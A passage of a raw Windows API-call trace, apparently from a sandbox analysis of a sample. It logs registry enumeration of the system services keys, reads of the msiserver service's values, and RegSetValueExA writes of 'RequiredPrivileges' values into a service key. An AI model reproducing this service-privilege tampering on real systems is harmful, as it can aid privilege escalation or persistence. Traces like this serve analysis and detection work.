0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.766] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.776] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.776] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.776] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.777] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0260.777] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0260.777] RegCloseKey (hKey=0x15c) returned 0x0 [0260.777] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.777] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0260.777] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.777] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.778] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.778] RegCloseKey (hKey=0xc8) returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0260.778] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0260.778] RegCloseKey (hKey=0x15c) returned 0x0 [0260.778] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.779] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.779] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.780] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1de8298*, cbData=0x195 | out: lpData=0x1de8298*) returned 0x0 [0260.780] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.780] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x1de8298*, cbData=0x195 | out: lpData=0x1de8298*) returned 0x0 [0260.780] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.780] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, 